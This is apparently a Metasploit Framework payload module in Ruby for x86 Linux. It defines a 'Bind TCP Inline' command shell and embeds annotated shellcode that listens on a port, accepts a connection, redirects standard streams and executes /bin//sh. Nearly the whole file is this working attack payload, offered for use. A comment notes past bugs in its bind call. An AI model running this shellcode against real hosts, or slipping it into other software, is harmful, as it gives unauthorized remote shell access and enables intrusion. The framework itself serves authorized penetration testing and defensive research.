##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule

  CachedSize = 78

  include Msf::Payload::Single
  include Msf::Payload::Linux
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Linux Command Shell, Bind TCP Inline',
      'Description'   => 'Listen for a connection and spawn a command shell',
      'Author'        => 'Ramon de C Valle',
      'License'       => MSF_LICENSE,
      'Platform'      => 'linux',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::BindTcp,
      'Session'       => Msf::Sessions::CommandShellUnix,
      'Payload'       =>
        {
          'Offsets' =>
            {
              'LPORT'    => [ 21, 'n' ],
            },
          # TODO: Payload source needs serious cleanup. This payload was
          # originally generated from
          # external/source/unixasm/lin-x86-bndsockcode.s which supposedly
          # worked when it was initially committed. Nevertheless, it was
          # calling bind(2) with insane parameters, which ended up erroring out
          # and causing execution to fall off the end of the shellcode,
          # bursting into flames. See #7216, #7224
          'Payload' =>
            "\x31\xdb"             +#   xorl    %ebx,%ebx                  #
            "\xf7\xe3"             +#   mull    %ebx                       #
            "\x53"                 +#   pushl   %ebx                       #
            "\x43"                 +#   incl    %ebx                       #
            "\x53"                 +#   pushl   %ebx                       #
            "\x6a\x02"             +#   pushl   $0x02                      #
            "\x89\xe1"             +#   movl    %esp,%ecx                  #
            "\xb0\x66"             +#   movb    $0x66,%al                  #
            "\xcd\x80"             +#   int     $0x80                      #
            "\x5b"                 +#   popl    %ebx                       #
            "\x5e"                 +#   popl    %esi                       #
            "\x52"                 +#   pushl   %edx                       #
            "\x68\x02\x00\x04\xd2" +#   pushl   $0xd2040200                #
            "\x6a\x10"             +#   pushl   $0x10                      #
            "\x51"                 +#   pushl   %ecx                       #
            "\x50"                 +#   pushl   %eax                       #
            "\x89\xe1"             +#   movl    %esp,%ecx                  #
            "\x6a\x66"             +#   pushl   $0x66                      #
            "\x58"                 +#   popl    %eax                       #
            "\xcd\x80"             +#   int     $0x80                      #
            "\x89\x41\x04"         +#   movl    %eax,0x04(%ecx)            #
            "\xb3\x04"             +#   movb    $0x04,%bl                  #
            "\xb0\x66"             +#   movb    $0x66,%al                  #
            "\xcd\x80"             +#   int     $0x80                      #
            "\x43"                 +#   incl    %ebx                       #
            "\xb0\x66"             +#   movb    $0x66,%al                  #
            "\xcd\x80"             +#   int     $0x80                      #
            "\x93"                 +#   xchgl   %eax,%ebx                  #
            "\x59"                 +#   popl    %ecx                       #
            "\x6a\x3f"             +#   pushl   $0x3f                      #
            "\x58"                 +#   popl    %eax                       #
            "\xcd\x80"             +#   int     $0x80                      #
            "\x49"                 +#   decl    %ecx                       #
            "\x79\xf8"             +#   jns     <bndsockcode+50>           #
            "\x68\x2f\x2f\x73\x68" +#   pushl   $0x68732f2f                #
            "\x68\x2f\x62\x69\x6e" +#   pushl   $0x6e69622f                #
            "\x89\xe3"             +#   movl    %esp,%ebx                  #
            "\x50"                 +#   pushl   %eax                       #
            "\x53"                 +#   pushl   %ebx                       #
            "\x89\xe1"             +#   movl    %esp,%ecx                  #
            "\xb0\x0b"             +#   movb    $0x0b,%al                  #
            "\xcd\x80"              #   int     $0x80                      #
        }
      ))
  end
end
